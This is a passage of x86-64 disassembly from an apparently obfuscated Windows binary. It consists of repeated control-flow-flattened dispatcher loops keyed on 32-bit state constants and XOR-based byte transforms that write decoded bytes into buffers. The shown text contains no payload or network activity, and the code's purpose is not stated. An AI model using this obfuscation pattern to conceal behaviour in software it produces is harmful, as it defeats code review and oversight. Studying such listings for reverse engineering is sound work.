cmp edi, 0x4ec8e6fe
jne 0x1400138f0
mov edx, r10d
jmp 0x1400138f0
cmp edi, 0xd13082ef
jle 0x140013990
mov edx, r11d
cmp edi, 0xd13082f0
je 0x1400138f0
cmp edi, 0xe0d67025
je 0x1400139f6
mov edx, edi
cmp edi, 0x216c1d41
jne 0x1400138f0
mov edx, esi
jmp 0x1400138f0
cmp edi, 0x54254c1a
je 0x140013a00
cmp edi, 0x62439574
je 0x1400138c8
mov edx, edi
cmp edi, 0x76479a56
jne 0x1400138f0
mov edx, 0x4ec8e6fe
jmp 0x1400138f0
cmp edi, 0x8ceadef2
je 0x140013a28
mov edx, eax
cmp edi, 0x9ce81538
je 0x1400138f0
mov edx, edi
cmp edi, 0xc5c4e523
jne 0x1400138f0
jmp 0x140013f05
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test cl, cl
cmovne edx, r14d
jmp 0x1400138f0
mov qword [rbp + 0x78], r9
lea rcx, [r12 + 7]
mov qword [rbp + 0x80], rcx
mov edx, 0x216c1d41
jmp 0x1400138f0
mov edx, 0x4de8461d
jmp 0x1400138f0
mov rbx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor ebx, ecx
xor ebx, edx
xor bl, 0x13
mov edx, r8d
jmp 0x1400138f0
mov edx, 0x9ce81538
jmp 0x1400138f0
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x18]
mov byte [rcx + 5], al
mov rax, qword [rbp + 0x58]
movzx r11d, byte [rax + 0x30]
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
add r11, r15
mov eax, 0x413ac401
jmp 0x140013a90
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140013ad0
cmp ecx, 0x54254c19
jg 0x140013b00
cmp ecx, 0x413ac401
je 0x140013b5d
cmp ecx, 0x4de8461d
je 0x140013b7c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140013a90
mov eax, esi
jmp 0x140013a90
cmp ecx, 0xd13082ef
jle 0x140013b30
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140013a90
cmp ecx, 0xe0d67025
je 0x140013b96
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140013a90
mov eax, r13d
jmp 0x140013a90
cmp ecx, 0x54254c1a
je 0x140013ba0
cmp ecx, 0x62439574
je 0x140013a65
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140013a90
mov eax, 0x4ec8e6fe
jmp 0x140013a90
cmp ecx, 0x8ceadef2
je 0x140013bc7
mov eax, edi
cmp ecx, 0x9ce81538
je 0x140013a90
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140013a90
jmp 0x1400140a2
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140013a90
mov qword [rbp + 0x78], r11
lea rax, [r12 + 0x30]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140013a90
mov eax, 0x4de8461d
jmp 0x140013a90
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140013a90
mov eax, 0x9ce81538
jmp 0x140013a90
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 5], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140013c20
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140013c60
cmp ecx, 0x54254c19
jg 0x140013c90
cmp ecx, 0x413ac401
je 0x140013ced
cmp ecx, 0x4de8461d
je 0x140013d0c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140013c20
mov eax, edi
jmp 0x140013c20
cmp ecx, 0xd13082ef
jle 0x140013cc0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140013c20
cmp ecx, 0xe0d67025
je 0x140013d2a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140013c20
mov eax, r11d
jmp 0x140013c20
cmp ecx, 0x54254c1a
je 0x140013d34
cmp ecx, 0x62439574
je 0x140013bf8
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140013c20
mov eax, 0x4ec8e6fe
jmp 0x140013c20
cmp ecx, 0x8ceadef2
je 0x140013d5b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140013c20
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140013c20
jmp 0x140014241
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140013c20
lea rax, [r15 + 0x2f]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 6]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140013c20
mov eax, 0x4de8461d
jmp 0x140013c20
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140013c20
mov eax, 0x9ce81538
jmp 0x140013c20
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 6], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140013dc0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140013e00
cmp ecx, 0x54254c19
jg 0x140013e30
cmp ecx, 0x413ac401
je 0x140013e8d
cmp ecx, 0x4de8461d
je 0x140013eac
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140013dc0
mov eax, edi
jmp 0x140013dc0
cmp ecx, 0xd13082ef
jle 0x140013e60
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140013dc0
cmp ecx, 0xe0d67025
je 0x140013eca
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140013dc0
mov eax, r11d
jmp 0x140013dc0
cmp ecx, 0x54254c1a
je 0x140013ed4
cmp ecx, 0x62439574
je 0x140013d8c
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140013dc0
mov eax, 0x4ec8e6fe
jmp 0x140013dc0
cmp ecx, 0x8ceadef2
je 0x140013efb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140013dc0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140013dc0
jmp 0x1400143d5
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140013dc0
lea rax, [r15 + 0x2f]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 7]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140013dc0
mov eax, 0x4de8461d
jmp 0x140013dc0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140013dc0
mov eax, 0x9ce81538
jmp 0x140013dc0
test r13b, 1
mov byte [rbp + 0x70], bl
mov cl, byte [rbp + 0x70]
mov rdx, qword [rbp + 0x48]
mov byte [rdx + 7], cl
mov rcx, qword [rbp + 0x58]
movzx r9d, byte [rcx + 8]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x38], 0xa
setl byte [rbp + 0x68]
add r9, r15
mov edx, 0x413ac401
jmp 0x140013f60
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop
mov edi, edx
cmp edx, 0x413ac400
jle 0x140013fa0
cmp edi, 0x54254c19
jg 0x140013fd0
cmp edi, 0x413ac401
je 0x14001402d
cmp edi, 0x4de8461d
je 0x14001404c
mov edx, edi
cmp edi, 0x4ec8e6fe
jne 0x140013f60
mov edx, r10d
jmp 0x140013f60
cmp edi, 0xd13082ef
jle 0x140014000
mov edx, r11d
cmp edi, 0xd13082f0
je 0x140013f60
cmp edi, 0xe0d67025
je 0x140014066
mov edx, edi
cmp edi, 0x216c1d41
jne 0x140013f60
mov edx, esi
jmp 0x140013f60
cmp edi, 0x54254c1a
je 0x140014070
cmp edi, 0x62439574
je 0x140013f38
mov edx, edi
cmp edi, 0x76479a56
jne 0x140013f60
mov edx, 0x4ec8e6fe
jmp 0x140013f60
cmp edi, 0x8ceadef2
je 0x140014098
mov edx, eax
cmp edi, 0x9ce81538
je 0x140013f60
mov edx, edi
cmp edi, 0xc5c4e523
jne 0x140013f60
jmp 0x140014575
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test cl, cl
cmovne edx, r14d
jmp 0x140013f60
mov qword [rbp + 0x78], r9
lea rcx, [r12 + 8]
mov qword [rbp + 0x80], rcx
mov edx, 0x216c1d41
jmp 0x140013f60
mov edx, 0x4de8461d
jmp 0x140013f60
mov rbx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor ebx, ecx
xor ebx, edx
xor bl, 0x13
mov edx, r8d
jmp 0x140013f60
mov edx, 0x9ce81538
jmp 0x140013f60
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x18]
mov byte [rcx + 6], al
mov rax, qword [rbp + 0x58]
movzx r11d, byte [rax + 0x31]
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
add r11, r15
mov eax, 0x413ac401
jmp 0x140014100
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140014140
cmp ecx, 0x54254c19
jg 0x140014170
cmp ecx, 0x413ac401
je 0x1400141cd
cmp ecx, 0x4de8461d
je 0x1400141ec
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140014100
mov eax, esi
jmp 0x140014100
cmp ecx, 0xd13082ef
jle 0x1400141a0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140014100
cmp ecx, 0xe0d67025
je 0x140014206
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140014100
mov eax, r13d
jmp 0x140014100
cmp ecx, 0x54254c1a
je 0x140014210
cmp ecx, 0x62439574
je 0x1400140d5
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140014100
mov eax, 0x4ec8e6fe
jmp 0x140014100
cmp ecx, 0x8ceadef2
je 0x140014237
mov eax, edi
cmp ecx, 0x9ce81538
je 0x140014100
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140014100
jmp 0x140014712
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140014100
mov qword [rbp + 0x78], r11
lea rax, [r12 + 0x31]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140014100
mov eax, 0x4de8461d
jmp 0x140014100
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140014100
mov eax, 0x9ce81538
jmp 0x140014100
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 6], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140014290
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400142d0
cmp ecx, 0x54254c19
jg 0x140014300
cmp ecx, 0x413ac401
je 0x14001435d
cmp ecx, 0x4de8461d
je 0x14001437c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140014290
mov eax, edi
jmp 0x140014290
cmp ecx, 0xd13082ef
jle 0x140014330
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140014290
cmp ecx, 0xe0d67025
je 0x14001439a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140014290
mov eax, r11d
jmp 0x140014290
cmp ecx, 0x54254c1a
je 0x1400143a4
cmp ecx, 0x62439574
je 0x140014268
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140014290
mov eax, 0x4ec8e6fe
jmp 0x140014290
cmp ecx, 0x8ceadef2
je 0x1400143cb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140014290
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140014290
jmp 0x1400148b1
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140014290
lea rax, [r15 + 0x2f]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 7]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140014290
mov eax, 0x4de8461d
jmp 0x140014290
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140014290
mov eax, 0x9ce81538
jmp 0x140014290
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 7], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140014430
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140014470
cmp ecx, 0x54254c19
jg 0x1400144a0
cmp ecx, 0x413ac401
je 0x1400144fd
cmp ecx, 0x4de8461d
je 0x14001451c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140014430
mov eax, edi
jmp 0x140014430
cmp ecx, 0xd13082ef
jle 0x1400144d0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140014430
cmp ecx, 0xe0d67025
je 0x14001453a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140014430
mov eax, r11d
jmp 0x140014430
cmp ecx, 0x54254c1a
je 0x140014544
cmp ecx, 0x62439574
je 0x1400143fc
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140014430
mov eax, 0x4ec8e6fe
jmp 0x140014430
cmp ecx, 0x8ceadef2
je 0x14001456b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140014430
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140014430
jmp 0x140014a45
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140014430
lea rax, [r15 + 0x63]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 8]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140014430
mov eax, 0x4de8461d
jmp 0x140014430
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140014430
mov eax, 0x9ce81538
jmp 0x140014430
test r13b, 1
mov byte [rbp + 0x70], bl
mov cl, byte [rbp + 0x70]
mov rdx, qword [rbp + 0x48]
mov byte [rdx + 8], cl
mov rcx, qword [rbp + 0x58]
movzx r9d, byte [rcx + 9]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x38], 0xa
setl byte [rbp + 0x68]
add r9, r15
mov edx, 0x413ac401
jmp 0x1400145d0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop
mov edi, edx
cmp edx, 0x413ac400
jle 0x140014610
cmp edi, 0x54254c19
jg 0x140014640
cmp edi, 0x413ac401
je 0x14001469d
cmp edi, 0x4de8461d
je 0x1400146bc
mov edx, edi
cmp edi, 0x4ec8e6fe
jne 0x1400145d0
mov edx, r10d
jmp 0x1400145d0
cmp edi, 0xd13082ef
jle 0x140014670
mov edx, r11d
cmp edi, 0xd13082f0
je 0x1400145d0
cmp edi, 0xe0d67025
je 0x1400146d6
mov edx, edi
cmp edi, 0x216c1d41
jne 0x1400145d0
mov edx, esi
jmp 0x1400145d0
cmp edi, 0x54254c1a
je 0x1400146e0
cmp edi, 0x62439574
je 0x1400145a8
mov edx, edi
cmp edi, 0x76479a56
jne 0x1400145d0
mov edx, 0x4ec8e6fe
jmp 0x1400145d0
cmp edi, 0x8ceadef2
je 0x140014708
mov edx, eax
cmp edi, 0x9ce81538
je 0x1400145d0
mov edx, edi
cmp edi, 0xc5c4e523
jne 0x1400145d0
jmp 0x140014be5
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test cl, cl
cmovne edx, r14d
jmp 0x1400145d0
mov qword [rbp + 0x78], r9
lea rcx, [r12 + 9]
mov qword [rbp + 0x80], rcx
mov edx, 0x216c1d41
jmp 0x1400145d0
mov edx, 0x4de8461d
jmp 0x1400145d0
mov rbx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor ebx, ecx
xor ebx, edx
xor bl, 0x13
mov edx, r8d
jmp 0x1400145d0
mov edx, 0x9ce81538
jmp 0x1400145d0
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x18]
mov byte [rcx + 7], al
mov rax, qword [rbp + 0x58]
movzx r11d, byte [rax + 0x32]
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
add r11, r15
mov eax, 0x413ac401
jmp 0x140014770
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400147b0
cmp ecx, 0x54254c19
jg 0x1400147e0
cmp ecx, 0x413ac401
je 0x14001483d
cmp ecx, 0x4de8461d
je 0x14001485c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140014770
mov eax, esi
jmp 0x140014770
cmp ecx, 0xd13082ef
jle 0x140014810
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140014770
cmp ecx, 0xe0d67025
je 0x140014876
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140014770
mov eax, r13d
jmp 0x140014770
cmp ecx, 0x54254c1a
je 0x140014880
cmp ecx, 0x62439574
je 0x140014745
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140014770
mov eax, 0x4ec8e6fe
jmp 0x140014770
cmp ecx, 0x8ceadef2
je 0x1400148a7
mov eax, edi
cmp ecx, 0x9ce81538
je 0x140014770
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140014770
jmp 0x140014d82
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140014770
mov qword [rbp + 0x78], r11
lea rax, [r12 + 0x32]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140014770
mov eax, 0x4de8461d
jmp 0x140014770
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140014770
mov eax, 0x9ce81538
jmp 0x140014770
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 7], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140014900
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140014940
cmp ecx, 0x54254c19
jg 0x140014970
cmp ecx, 0x413ac401
je 0x1400149cd
cmp ecx, 0x4de8461d
je 0x1400149ec
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140014900
mov eax, edi
jmp 0x140014900
cmp ecx, 0xd13082ef
jle 0x1400149a0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140014900
cmp ecx, 0xe0d67025
je 0x140014a0a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140014900
mov eax, r11d
jmp 0x140014900
cmp ecx, 0x54254c1a
je 0x140014a14
cmp ecx, 0x62439574
je 0x1400148d8
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140014900
mov eax, 0x4ec8e6fe
jmp 0x140014900
cmp ecx, 0x8ceadef2
je 0x140014a3b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140014900
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140014900
jmp 0x140014f21
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140014900
lea rax, [r15 + 0x63]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 8]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140014900
mov eax, 0x4de8461d
jmp 0x140014900
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140014900
mov eax, 0x9ce81538
jmp 0x140014900
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 8], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140014aa0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140014ae0
cmp ecx, 0x54254c19
jg 0x140014b10
cmp ecx, 0x413ac401
je 0x140014b6d
cmp ecx, 0x4de8461d
je 0x140014b8c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140014aa0
mov eax, edi
jmp 0x140014aa0
cmp ecx, 0xd13082ef
jle 0x140014b40
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140014aa0
cmp ecx, 0xe0d67025
je 0x140014baa
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140014aa0
mov eax, r11d
jmp 0x140014aa0
cmp ecx, 0x54254c1a
je 0x140014bb4
cmp ecx, 0x62439574
je 0x140014a6c
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140014aa0
mov eax, 0x4ec8e6fe
jmp 0x140014aa0
cmp ecx, 0x8ceadef2
je 0x140014bdb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140014aa0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140014aa0
jmp 0x1400150b5
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140014aa0
lea rax, [r15 + 0x64]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 9]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140014aa0
mov eax, 0x4de8461d
jmp 0x140014aa0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140014aa0
mov eax, 0x9ce81538
jmp 0x140014aa0
test r13b, 1
mov byte [rbp + 0x70], bl
mov cl, byte [rbp + 0x70]
mov rdx, qword [rbp + 0x48]
mov byte [rdx + 9], cl
mov rcx, qword [rbp + 0x58]
movzx r9d, byte [rcx + 0xa]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x38], 0xa
setl byte [rbp + 0x68]
add r9, r15
mov edx, 0x413ac401
jmp 0x140014c40
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop
mov edi, edx
cmp edx, 0x413ac400
jle 0x140014c80
cmp edi, 0x54254c19
jg 0x140014cb0
cmp edi, 0x413ac401
je 0x140014d0d
cmp edi, 0x4de8461d
je 0x140014d2c
mov edx, edi
cmp edi, 0x4ec8e6fe
jne 0x140014c40
mov edx, r10d
jmp 0x140014c40
cmp edi, 0xd13082ef
jle 0x140014ce0
mov edx, r11d
cmp edi, 0xd13082f0
je 0x140014c40
cmp edi, 0xe0d67025
je 0x140014d46
mov edx, edi
cmp edi, 0x216c1d41
jne 0x140014c40
mov edx, esi
jmp 0x140014c40
cmp edi, 0x54254c1a
je 0x140014d50
cmp edi, 0x62439574
je 0x140014c18
mov edx, edi
cmp edi, 0x76479a56
jne 0x140014c40
mov edx, 0x4ec8e6fe
jmp 0x140014c40
cmp edi, 0x8ceadef2
je 0x140014d78
mov edx, eax
cmp edi, 0x9ce81538
je 0x140014c40
mov edx, edi
cmp edi, 0xc5c4e523
jne 0x140014c40
jmp 0x140015255
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test cl, cl
cmovne edx, r14d
jmp 0x140014c40
mov qword [rbp + 0x78], r9
lea rcx, [r12 + 0xa]
mov qword [rbp + 0x80], rcx
mov edx, 0x216c1d41
jmp 0x140014c40
mov edx, 0x4de8461d
jmp 0x140014c40
mov rbx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor ebx, ecx
xor ebx, edx
xor bl, 0x13
mov edx, r8d
jmp 0x140014c40
mov edx, 0x9ce81538
jmp 0x140014c40
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x18]
mov byte [rcx + 8], al
mov rax, qword [rbp + 0x58]
movzx r11d, byte [rax + 0x33]
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
add r11, r15
mov eax, 0x413ac401
jmp 0x140014de0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
